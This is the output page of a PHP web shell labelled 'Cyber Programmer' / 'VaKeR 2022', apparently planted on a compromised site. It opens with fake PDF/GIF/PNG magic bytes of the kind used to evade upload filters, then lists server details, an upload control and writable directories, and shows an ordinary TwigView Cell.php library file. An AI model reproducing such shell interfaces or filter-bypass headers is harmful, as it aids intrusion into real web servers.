%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/public_html/vendor/wyrihaximus/twig-view/src/Lib/Twig/Node/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/public_html/vendor/wyrihaximus/twig-view/src/Lib/Twig/Node/Cell.php
<?php

/**
 * This file is part of TwigView.
 *
 ** (c) 2014 Cees-Jan Kiewiet
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
namespace WyriHaximus\TwigView\Lib\Twig\Node;

/**
 * Class Cell
 * @package WyriHaximus\TwigView\Lib\Twig\Node
 */
// @codingStandardsIgnoreStart
class Cell extends \Twig_Node implements \Twig_NodeOutputInterface
// @codingStandardsIgnoreEnd
{

    /**
     * Whether to assign the data or not.
     *
     * @var boolean
     */
    protected $assign = false;

    /**
     * Constructor.
     *
     * @param boolean               $assign   Assign or echo.
     * @param mixed                 $variable Variable to assign to.
     * @param \Twig_Node_Expression $name     Name.
     * @param \Twig_Node_Expression $data     Data array.
     * @param \Twig_Node_Expression $options  Options array.
     * @param string                $lineno   Line number.
     * @param string                $tag      Tag name.
     */
    public function __construct(
        $assign,
        $variable,
        \Twig_Node_Expression $name,
        \Twig_Node_Expression $data = null,
        \Twig_Node_Expression $options = null,
        $lineno = '',
        $tag = null
    ) {
        if ($data === null) {
            $data = new \Twig_Node_Expression_Array([], $lineno);
        }

        if ($options === null) {
            $options = new \Twig_Node_Expression_Array([], $lineno);
        }

        parent::__construct(
            [
                'name' => $name,
                'data' => $data,
                'options' => $options,
            ],
            [
                'variable' => $variable,
            ],
            $lineno,
            $tag
        );

        $this->assign = $assign;
    }

    /**
     * Compile tag.
     *
     * @param \Twig_Compiler $compiler Compiler.
     *
     * @return void
     */
    // @codingStandardsIgnoreStart
    public function compile(\Twig_Compiler $compiler)
    {
        // @codingStandardsIgnoreEnd
        $compiler->addDebugInfo($this);

        if ($this->assign) {
            $compiler->raw('$context[\'' . $this->getAttribute('variable') . '\'] = ');
            // @codingStandardsIgnoreStart
        } else {
            // @codingStandardsIgnoreEnd
            $compiler->raw('echo ');
        }
        $compiler->raw('$context[\'_view\']->cell(');
        $compiler->subcompile($this->getNode('name'));
        $data = $this->getNode('data');
        if ($data !== null) {
            $compiler->raw(',');
            $compiler->subcompile($data);
        }
        $options = $this->getNode('options');
        if ($options !== null) {
            $compiler->raw(',');
            $compiler->subcompile($options);
        }
        $compiler->raw(");\n");
    }
}

VaKeR 2022